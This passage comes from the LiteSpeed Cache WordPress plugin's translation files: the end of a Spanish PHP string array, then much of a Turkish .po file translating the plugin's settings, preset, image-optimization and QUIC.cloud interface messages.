%s al final de la URL.','The URLs will be compared to the REQUEST_URI server variable.'=>'Las URLs serán comparadas con la variable REQUEST_URI del servidor.','Select only the archive types that are currently used, the others can be left unchecked.'=>'Selecciona solo los tipos de archivos que se utilicen actualmente, los otros se pueden dejar desmarcados.','Notes'=>'Notas','Use Network Admin Setting'=>'Usar ajuste de administrador de red','Disable'=>'Desactivar','Enabling LiteSpeed Cache for WordPress here enables the cache for the network.'=>'Activar LiteSpeed Cache para WordPress aquí activa la caché para la red.','Disabled'=>'Desactivado','Enabled'=>'Activado','Do Not Cache Roles'=>'No cachear perfiles','https://www.litespeedtech.com'=>'https://www.litespeedtech.com','LiteSpeed Technologies'=>'LiteSpeed Technologies','LiteSpeed Cache'=>'LiteSpeed Cache','Debug Level'=>'Nivel de depuración','Notice'=>'Nota','Term archive (include category, tag, and tax)'=>'Archivo de término (incluye categoría, etiqueta y taxonomía)','Daily archive'=>'Archivo diario','Monthly archive'=>'Archivo mensual','Yearly archive'=>'Archivo anual','Post type archive'=>'Archivo de tipo de contenido','Author archive'=>'Archivo del autor','Home page'=>'Página de inicio','Front page'=>'Portada','All pages'=>'Todas las páginas','Select which pages will be automatically purged when posts are published/updated.'=>'Selecciona qué páginas serán purgadas automáticamente cuando las entradas sean publicadas o actualizadas.','Auto Purge Rules For Publish/Update'=>'Reglas de purga automática para publicación y actualización','Default Public Cache TTL'=>'TTL por defecto de la caché pública','seconds'=>'segundos','Admin IPs'=>'IPs de administrador','General'=>'Opciones generales','LiteSpeed Cache Settings'=>'Configuración de Caché de LiteSpeed','Notified LiteSpeed Web Server to purge all LSCache entries.'=>'Solicitado al servidor web LiteSpeed la purga de todas las entradas de LSCache.','Purge All'=>'Purgar todo','Settings'=>'Ajustes','Support forum'=>'Foro de soporte']];litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-tr_TR.po000064400000553513151031165260020414 0ustar00# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in Turkish
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-08-03 09:29:27+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: tr\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/page_optm/settings_html.tpl.php:106
msgid "When minifying HTML do not discard comments that match a specified pattern."
msgstr "HTML küçültürken belirli bir desenle eşleşen yorumları atma."

#: tpl/cache/settings-advanced.tpl.php:39
msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space."
msgstr "POST/GET olarka bir AJAX eylemi ve saniye cinsinden bu isteğin ne kadar süreyle ön belleğe alınacağını boşlukla ayırarak belirtin."

#: src/lang.cls.php:150
msgid "HTML Keep Comments"
msgstr "HTML yorumları koru"

#: src/lang.cls.php:98
msgid "AJAX Cache TTL"
msgstr "AJAX Önbellek TTL'i"

#: src/error.cls.php:112
msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now."
msgstr "Çekilmeyi bekleyen görselleriniz var. Otomatik çekimin tamamlanmasını bekleyin veya şimdi elle çekin."

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all orphaned post meta records"
msgstr "Tüm artık posta meta kayıtlarını temizleyin"

#: tpl/db_optm/manage.tpl.php:25
msgid "Orphaned Post Meta"
msgstr "Sahipsiz Gönderi Metası"

#: tpl/dash/dashboard.tpl.php:863
msgid "Best available WordPress performance"
msgstr "Mevcut en iyi WordPress performansı"

#: src/db-optm.cls.php:203
msgid "Clean orphaned post meta successfully."
msgstr "Sahipsiz posta metasını başarıyla temizleyin."

#: tpl/img_optm/summary.tpl.php:325
msgid "Last Pulled"
msgstr "Son Çekilen"

#: tpl/cache/settings_inc.login_cookie.tpl.php:104
msgid "You can list the 3rd party vary cookies here."
msgstr "3. parti değişken çerezleri burada listeleyebilirsiniz."

#: src/lang.cls.php:227
msgid "Vary Cookies"
msgstr "Farklılık Çerezleri"

#: tpl/page_optm/settings_html.tpl.php:75
msgid "Preconnecting speeds up future loads from a given origin."
msgstr "Ön bağlantı, belirli bir kaynaktan gelecek yükleri hızlandırır."

#: thirdparty/woocommerce.content.tpl.php:72
msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents."
msgstr "Temanız mini sepeti güncellemek için JS kullanmıyorsa, doğru sepet içeriğini görüntülemek için bu seçeneği etkinleştirmeniz gerekir."

#: thirdparty/woocommerce.content.tpl.php:71
msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty."
msgstr "Sepet boş olmadığında mini sepet için ayrı bir değişken önbellek kopyası oluşturun."

#: thirdparty/woocommerce.content.tpl.php:63
msgid "Vary for Mini Cart"
msgstr "Mini Araba için değişir"

#: src/lang.cls.php:160
msgid "DNS Preconnect"
msgstr "DNS Ön Bağlantısı"

#: src/doc.cls.php:38
msgid "This setting is %1$s for certain qualifying requests due to %2$s!"
msgstr "Bu ayar, %2$s nedeniyle belirli nitelikli talepler için %1$s'dir!"

#: tpl/page_optm/settings_tuning.tpl.php:43
msgid "Listed JS files or inline JS code will be delayed."
msgstr "Listelenen JS dosyaları veya satır içi JS kodları gecikecektir."

#: tpl/crawler/map.tpl.php:58
msgid "URL Search"
msgstr "URL arama"

#: src/lang.cls.php:162
msgid "JS Delayed Includes"
msgstr "JS Gecikmeli İçerir"

#: src/cloud.cls.php:1495
msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more."
msgstr "Alan adı anahtarınız kötüye kullanımı engellemek için geçici olarak engellendi. Daha fazla bilgi için QUIC.cloud destek ile iletişime geçebilirsiniz."

#: src/cloud.cls.php:1490
msgid "Cloud server refused the current request due to unpulled images. Please pull the images first."
msgstr "Bulut sunucusu çekilmemiş görseller nedeniyle talebi redetti. Lütfen önce görselleri çekin."

#: tpl/crawler/summary.tpl.php:110
msgid "Current server load"
msgstr "Şu anki sunucu yükü"

#: src/img-optm.cls.php:890
msgid "Started async image optimization request"
msgstr "Asenkron görüntü iyileştirme isteği başlatıldı"

#: src/crawler.cls.php:230
msgid "Started async crawling"
msgstr "Asenkron tama başlatıldı"

#: src/conf.cls.php:509
msgid "Saving option failed. IPv4 only for %s."
msgstr "Seçenek kaydedilemedi. IPv4 sadece %s için."

#: src/cloud.cls.php:1502
msgid "Cloud server refused the current request due to rate limiting. Please try again later."
msgstr "Bulut sunucusu, hız sınırlaması nedeniyle mevcut isteği reddetti. Lütfen daha sonra tekrar deneyin."

#: tpl/img_optm/summary.tpl.php:298
msgid "Maximum image post id"
msgstr "Maksimum görüntü gönderi kimliği"

#: tpl/img_optm/summary.tpl.php:297 tpl/img_optm/summary.tpl.php:372
msgid "Current image post id position"
msgstr "Geçerli görsel gönderi kimliği konumu"

#: src/lang.cls.php:25
msgid "Images ready to request"
msgstr "İsteğe hazır görseller"

#: tpl/dash/dashboard.tpl.php:384 tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54 tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr "Yeniden algıla"

#. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket
#. path
#. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value
#: tpl/cache/settings_inc.object.tpl.php:107
#: tpl/cache/settings_inc.object.tpl.php:146
msgid "If you are using a %1$s socket, %2$s should be set to %3$s"
msgstr "Bir %1$s soketi kullanıyorsanız, %2$s, %3$s olarak ayarlanmalıdır."

#: src/root.cls.php:198
msgid "All QUIC.cloud service queues have been cleared."
msgstr "Tüm QUIC.cloud hizmet kuyrukları temizlendi."

#. translators: %s: The type of the given cache key.
#: src/object-cache-wp.cls.php:245
msgid "Cache key must be integer or non-empty string, %s given."
msgstr "Önbellek anahtarı tamsayı veya boş olmayan bir metin olmalıdır, %s verildi."

#: src/object-cache-wp.cls.php:242
msgid "Cache key must not be an empty string."
msgstr "Önbellek anahtarı boş bir metin olmamalıdır."

#: src/lang.cls.php:171
msgid "JS Deferred / Delayed Excludes"
msgstr "JS Ertelenmiş / Gecikmeli Hariç Tutulanlar"

#: src/doc.cls.php:153
msgid "The queue is processed asynchronously. It may take time."
msgstr "Kuyruk eşzamansız olarak işlenir. Bu biraz zaman alabilir."

#: src/cloud.cls.php:1190
msgid "In order to use QC services, need a real domain name, cannot use an IP."
msgstr "QC hizmetlerini kullanmak için gerçek bir alan adına ihtiyacınız var, IP kullanamazsınız."

#: tpl/presets/standard.tpl.php:195
msgid "Restore Settings"
msgstr "Ayarları Geri Yükle"

#: tpl/presets/standard.tpl.php:193
msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?"
msgstr "Bu, %2$s ön ayarını uygulamadan önce %1$s tarafından yedeklenen eski ayarlarınızı geri yükleyecektir. O zamandan bu yana yapılan tüm değişiklikler kaybolacaktır. Devam etmek istiyor musun?"

#: tpl/presets/standard.tpl.php:189
msgid "Backup created %1$s before applying the %2$s preset"
msgstr "%2$s ön ayarı uygulanmadan önce %1$s yedek oluşturuldu."

#: tpl/presets/standard.tpl.php:178
msgid "Applied the %1$s preset %2$s"
msgstr "%1$s ön ayarı %2$s uygulandı"

#: tpl/presets/standard.tpl.php:175
msgid "Restored backup settings %1$s"
msgstr "Yedeklenen eski %1$s ayarları geri getirildi"

#: tpl/presets/standard.tpl.php:173
msgid "Error: Failed to apply the settings %1$s"
msgstr "Hata: %1$s ayarları uygulanamadı"

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr "Geçmiş"

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr "bilinmeyen"

#: tpl/presets/standard.tpl.php:133
msgid "Apply Preset"
msgstr "Ön Ayarı Uygula"

#: tpl/presets/standard.tpl.php:131
msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?"
msgstr "Bu, mevcut ayarlarınızı yedekleyecek ve %1$s önceden ayarlanmış ayarlarla değiştirecektir. Devam etmek istiyor musun?"

#: tpl/presets/standard.tpl.php:121
msgid "Who should use this preset?"
msgstr "Bu ön ayarı kimler kullanmalı?"

#: tpl/presets/standard.tpl.php:96
msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between."
msgstr "Sitenizi tek tıklamayla yapılandırmak için LiteSpeed tarafından tasarlanmış resmi bir Ön Ayar kullanın. Risksiz önbelleğe alma temellerini, aşırı optimizasyonu veya ikisinin arasındaki bir ön ayarı deneyin."

#: tpl/presets/standard.tpl.php:92
msgid "LiteSpeed Cache Standard Presets"
msgstr "LiteSpeed Cache Standart Ön Ayarları"

#: tpl/presets/standard.tpl.php:84
msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images."
msgstr "Bu ön ayar neredeyse kesinlikle bazı CSS, JS ve Gecikmeli Yüklenen Görseller için test ve istisnalar gerektirecektir. Logolara veya HTML tabanlı kaydırıcı (slider) görsellerine özellikle dikkat edin."

#: tpl/presets/standard.tpl.php:81
msgid "Inline CSS added to Combine"
msgstr "Satır İçi CSS, Birleştir'e eklendi"

#: tpl/presets/standard.tpl.php:80
msgid "Inline JS added to Combine"
msgstr "Satır İçi JS, Birleştir'e eklendi"

#: tpl/presets/standard.tpl.php:79
msgid "JS Delayed"
msgstr "JS Gecikmeli"

#: tpl/presets/standard.tpl.php:78
msgid "Viewport Image Generation"
msgstr "Viewport Görsel Oluşturma"

#: tpl/presets/standard.tpl.php:77
msgid "Lazy Load for Images"
msgstr "Görseller için Gecikmeli Yükleme"

#: tpl/presets/standard.tpl.php:76
msgid "Everything in Aggressive, Plus"
msgstr "Agresif İçindeki Her Şey Dahil"

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr "Aşırı"

#: tpl/presets/standard.tpl.php:69
msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning."
msgstr "Bu ön ayar, bazı web siteleri için beklenenin dışında çalışabilir, ancak test ettiğinizden emin olun! Sayfa Optimizasyonu > Ayarlama'da bazı CSS veya JS hariç tutmaları gerekli olabilir."

#: tpl/presets/standard.tpl.php:66
msgid "Lazy Load for Iframes"
msgstr "Iframe'ler için Gecikmeli Yükleme"

#: tpl/presets/standard.tpl.php:65
msgid "Removed Unused CSS for Users"
msgstr "Kullanıcılar için Kullanılmayan CSS Kaldırıldı"

#: tpl/presets/standard.tpl.php:64
msgid "Asynchronous CSS Loading with Critical CSS"
msgstr "Kritik CSS ile Eşzamansız CSS Yükleme"

#: tpl/presets/standard.tpl.php:63
msgid "CSS & JS Combine"
msgstr "CSS & JS Birleştirme"

#: tpl/presets/standard.tpl.php:62
msgid "Everything in Advanced, Plus"
msgstr "Gelişmiş İçindeki Her Şey Dahil"

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr "Agresif"

#: tpl/presets/standard.tpl.php:55
msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools."
msgstr "Bu ön ayar çoğu web sitesi için iyidir ve çakışmalara neden olma olasılığı düşüktür. Herhangi bir CSS veya JS çakışması durumunda, Sayfa Optimizasyonu > Ayarlama araçları ile çözülebilir."

#: tpl/presets/standard.tpl.php:50
msgid "Remove Query Strings from Static Files"
msgstr "Statik Dosyalardan Sorgu Dizelerini Kaldır"

#: tpl/presets/standard.tpl.php:48
msgid "DNS Prefetch for static files"
msgstr "Statik dosyalar için DNS Prefetch"

#: tpl/presets/standard.tpl.php:47
msgid "JS Defer for both external and inline JS"
msgstr "Hem harici hem de satır içi JS için JS Erteleme"

#: tpl/presets/standard.tpl.php:45
msgid "CSS, JS and HTML Minification"
msgstr "CSS, JS ve HTML Küçültme"

#: tpl/presets/standard.tpl.php:44
msgid "Guest Mode and Guest Optimization"
msgstr "Konuk Modu ve Konuk Optimizasyonu"

#: tpl/presets/standard.tpl.php:43
msgid "Everything in Basic, Plus"
msgstr "Temel İçindeki Her Şey Dahil"

#: tpl/presets/standard.tpl.php:41
msgid "Advanced (Recommended)"
msgstr "Gelişmiş (Önerilen)"

#: tpl/presets/standard.tpl.php:36
msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners."
msgstr "Bu düşük riskli ön ayar, hız ve kullanıcı deneyimi için temel optimizasyonları sunar. Hevesli yeni başlayanlar için uygundur."

#: tpl/presets/standard.tpl.php:33
msgid "Mobile Cache"
msgstr "Mobil Önbellek"

#: tpl/presets/standard.tpl.php:31
msgid "Everything in Essentials, Plus"
msgstr "Basit İçindeki Her Şey Dahil"

#: tpl/presets/standard.tpl.php:24
msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development."
msgstr "Bu risksiz ön ayar, tüm web siteleri için uygundur. Yeni kullanıcılar, basit web siteleri veya önbelleğe dayalı geliştirmeler için uygundur."

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr "Daha Yüksek TTL"

#: tpl/presets/standard.tpl.php:19
msgid "Default Cache"
msgstr "Varsayılan Önbellek"

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr "Basit"

#: tpl/presets/entry.tpl.php:23
msgid "LiteSpeed Cache Configuration Presets"
msgstr "LiteSpeed Cache Yapılandırma Ön Ayarları"

#: tpl/presets/entry.tpl.php:16
msgid "Standard Presets"
msgstr "Standart Ön Ayarlar"

#: tpl/page_optm/settings_tuning_css.tpl.php:52
msgid "Listed CSS files will be excluded from UCSS and saved to inline."
msgstr "Listelenen CSS dosyaları UCSS'den çıkarılacak ve satır içine kaydedilecektir."

#: src/lang.cls.php:142
msgid "UCSS Selector Allowlist"
msgstr "UCSS Seçici İzin Listesi"

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr "Ön Ayarlar"

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr "Ortaklar Tarafından Sağlanan Faydalar"

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr "LiteSpeed Kayıtları"

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr "Tarayıcı Kayıtları"

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr "Kayıtı Temizle"

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr "Listelenen dizeleri içeren günlük girişlerinin yazılmasını önleyin."

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr "Önbellekten Önce Siteyi Görüntüle"

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr "Optimizasyondan Önce Siteyi Görüntüle"

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr "Hata Ayıklama Yardımcıları"

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr "Viewport Görüntüleri otomatik oluşturma cron'unu etkinleştirin."

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr "Bu, sayfanın ilk ekran dolusu görüntüsünün gecikme olmaksızın tamamen görüntülenmesini sağlar."

#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr "Viewport Images hizmeti, hangi görüntülerin katlamanın üstünde göründüğünü algılar ve bunları tembel yüklemenin dışında tutar."

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr "Lazy Load kullandığınızda, bir sayfadaki tüm resimlerin yüklenmesi geciktirilir."

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr "%2$s AÇIK olduğunda uzak görüntü boyutu kontrolünü atlamak için %1$s kullanın."

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr "VPI"

#: tpl/general/settings.tpl.php:72 tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr "Bu ayarın çalışması için %s'nin AÇIK olması gerekir."

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr "Görünüm Alanı Görüntüsü"

#: thirdparty/litespeed-check.cls.php:75 thirdparty/litespeed-check.cls.php:123
msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:"
msgstr "LiteSpeed Cache ile çakışabilecekleri için lütfen aşağıda tespit edilen eklentileri devre dışı bırakmayı düşünün:"

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr "Mobil"

#: src/metabox.cls.php:31
msgid "Disable VPI"
msgstr "VPI'yı Etkisizleştir"

#: src/metabox.cls.php:30
msgid "Disable Image Lazyload"
msgstr "Gecikmeli Görsel Yüklemeyi Etkisizleştir"

#: src/metabox.cls.php:29
msgid "Disable Cache"
msgstr "Önbelleği Etkisizleştir"

#: src/lang.cls.php:264
msgid "Debug String Excludes"
msgstr "Hata Ayıklama Dizesi Hariç Tutulanlar"

#: src/lang.cls.php:203
msgid "Viewport Images Cron"
msgstr "Viewport Görüntüleri Cron"

#: src/lang.cls.php:202 src/metabox.cls.php:32 src/metabox.cls.php:33
#: tpl/page_optm/settings_vpi.tpl.php:23
msgid "Viewport Images"
msgstr "Görünüm Alanı Görüntüleri"

#: src/lang.cls.php:53
msgid "Alias is in use by another QUIC.cloud account."
msgstr "Takma ad, başka bir QUIC.cloud hesabı tarafından kullanılıyor."

#: src/lang.cls.php:51
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain."
msgstr "%1$s ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor."

#: src/lang.cls.php:46
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict."
msgstr "Olası CDN çakışması nedeniyle %1$s, ana %2$s etki alanı için Etki Alanı Diğer Adı olarak otomatik olarak eklenemiyor."

#: src/error.cls.php:232
msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible."
msgstr "Bu DNS bölgesini kaldıramazsınız, çünkü hala kullanımda. Lütfen alan adının ad sunucularını güncelleyin, ardından bu bölgeyi tekrar silmeyi deneyin, aksi takdirde siteniz erişilemez hale gelecektir."

#: src/error.cls.php:135
msgid "The site is not a valid alias on QUIC.cloud."
msgstr "Site QUIC.cloud'da geçerli bir takma ad değil."

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr "Beklendiği gibi çalıştığından emin olmak için lütfen eklediğiniz her JS dosyasını iyice test edin."

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr "Lütfen beklendiği gibi çalıştıklarından emin olmak için %s içindeki tüm öğeleri iyice test edin."

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr "Sayfa türü %2$s olan sayfalarda UCSS'yi atlamak için %1$s kullanın."

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr "Sayfa türü %2$s olan sayfalar için tek bir UCSS oluşturmak için %1$s kullanın, diğer sayfa türleri hala URL başına."

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr "Sayfa türü oluşturma başına UCSS için %s filtresi kullanılabilir."

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr "Misafir Modu test edilemedi."

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr "Misafir Modu testi geçti."

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr "Test ediliyor"

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr "Misafir Modu test sonucu"

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr "Blok listesinde değil"

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr "Bunun ne zaman gerekli olduğu hakkında daha fazla bilgi edinin"

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr "Tüm yerelleştirilmiş kaynak girişleri temizlendi."

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr ".htaccess'i görüntüleyin"

#: tpl/toolbox/edit_htaccess.tpl.php:63 tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr "htaccess dosya yolunu belirtmek için %2$s içinde %1$s kodunu kullanabilirsiniz."

#: tpl/toolbox/edit_htaccess.tpl.php:62 tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr "%s PHP sabiyi destekleniyor."

#: tpl/toolbox/edit_htaccess.tpl.php:58 tpl/toolbox/edit_htaccess.tpl.php:76
msgid "Default path is"
msgstr "Varsayılan yol şu"

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr ".htaccess yolu"

#: tpl/general/settings.tpl.php:49
msgid "Please read all warnings before enabling this option."
msgstr "Lütfen bu seçeneği etkinleştirmeden önce tüm uyarıları okuyun."

#: tpl/toolbox/purge.tpl.php:83
msgid "This will delete all generated unique CSS files"
msgstr "Bu işlem oluşturulan tüm benzersiz (unique) CSS dosyalarını siler"

#: tpl/toolbox/beta_test.tpl.php:84
msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions."
msgstr "Olası yükseltme hatalarını önlemek için %2$s sürümüne yükseltmeden önce %1$s veya daha yeni bir sürümü kullanıyor olmalısınız."

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Use latest GitHub Dev/Master commit"
msgstr "En son GitHub Dev/Master commitini kullan"

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing."
msgstr "En son GitHub commitini kullanmak için %s düğmesine basın. Master sonraki sürüm adayı, Dev deneysel testler içindir."

#: tpl/toolbox/beta_test.tpl.php:72
msgid "Downgrade not recommended. May cause fatal error due to refactored code."
msgstr "Eski sürüme dönüş önerilmez. Yeniden düzenlenmiş kodlar nedeniyle önemli hatalara neden olabilir."

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr "Sayfaları sadece misafir (giriş yapmamış) ziyaretçiler için optimize et. KAPALI hale getirilirse CSS/JS/CCSS dosyaları her kullanıcı grubu için ikiye katlanır."

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr "Listelenmiş JS dosyaları veya satır içi JS kodları %s tarafından iyileştirilmeyecektir."

#: tpl/page_optm/settings_tuning_css.tpl.php:92
msgid "Listed URI will not generate UCSS."
msgstr "Listedeki URI'ler için UCSS oluşturulmayacaktır."

#: tpl/page_optm/settings_tuning_css.tpl.php:74
msgid "The selector must exist in the CSS. Parent classes in the HTML will not work."
msgstr "Seçici CSS içerisinde yer almalıdır. HTML'deki üst sınıflar (class) çalışmaz."

#: tpl/page_optm/settings_tuning_css.tpl.php:70
#: tpl/page_optm/settings_tuning_css.tpl.php:145
msgid "Wildcard %s supported."
msgstr "%s joker karakteri destekleniyor."

#: tpl/page_optm/settings_media_exc.tpl.php:34
msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)."
msgstr "İlk açılışta görüntülenen ve CLS'e ( Bir Core Web Vitals metriğidir ) neden olan görseller için kullanışlıdır."

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr "Görünümde kaymaları azaltmak ve CLS'yi (önemli web verileri metriği) iyileştirmek için görsel öğelerin genişlik ve yüksekliğini tam olarak belirleyin."

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr "Bu ayarda yapılan değişiklikler zaten oluşturulmuş LQIP'lere uygulanmaz. Var olan LQIP'leri yeniden oluşturmak için lütfen önce yönetici çubuğu menüsünden şunu uygulayın: %s ."

#: tpl/page_optm/settings_js.tpl.php:79
msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)."
msgstr "Sayfa ayrıştırılana veya etkileşime hazır hale gelene kadar geciktirmek kaynak yükleme çatışmalarını engellemeye, performansı iyileştirerek daha düşük bir FID (Core Web Vital metriği) elde etmeye yardımcı olur."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr "Gecikmeli"

#: tpl/page_optm/settings_js.tpl.php:52
msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect."
msgstr "JS hatası, sağ tıklayıp İnceleyi seçerek açılan tarayıcı geliştirici konsolundan bulunabilir."

#: tpl/page_optm/settings_js.tpl.php:51 tpl/page_optm/settings_js.tpl.php:85
msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins."
msgstr "Bu seçenek, belirli temalara/eklentilere sahip ön yüz sayfalarında JS hataları veya düzen sorunlarına neden olabilir."

#: tpl/page_optm/settings_html.tpl.php:147
msgid "This will also add a preconnect to Google Fonts to establish a connection earlier."
msgstr "Bu daha erken bağlantı sağlamak için Google Fonts'a da bir ön bağlantı ekleyecektir."

#: tpl/page_optm/settings_html.tpl.php:91
msgid "Delay rendering off-screen HTML elements by its selector."
msgstr "Seçicisini kullanarak ekran dışı HTML öğelerinin işlenmesini erteleyin."

#: tpl/page_optm/settings_css.tpl.php:314
msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder."
msgstr "CCSS'i sayfalar için ayrı ayrı değil gönderi türüne göre oluşturmak için bu seçeneği devre dışı bırakın. Bu önemli miktarda CCSS kota tasarrufu sağlar, fakat sitenizde sayfa oluşturucu kullanılıyorsa hatalı CSS stillerine neden olabilir."

#: tpl/page_optm/settings_css.tpl.php:230
msgid "This option is bypassed due to %s option."
msgstr "Bu seçenek %s seçeneği nedeniyle atlandı."

#: tpl/page_optm/settings_css.tpl.php:224
msgid "Elements with attribute %s in HTML code will be excluded."
msgstr "HTML kodunda %s öz niteliğine sahip öğeler hariç tutulacaktır."

#: tpl/page_optm/settings_css.tpl.php:217
msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously."
msgstr "Kritik CSS oluşturmak ve kalan CSS'i de asenkron olarak yüklemek için QUIC.cloud çevrimiçi hizmetini kullanın."

#: tpl/page_optm/settings_css.tpl.php:181
msgid "This option will automatically bypass %s option."
msgstr "Bu seçenek %s seçeneğini otomatik olarak atlar."

#: tpl/page_optm/settings_css.tpl.php:178
msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON."
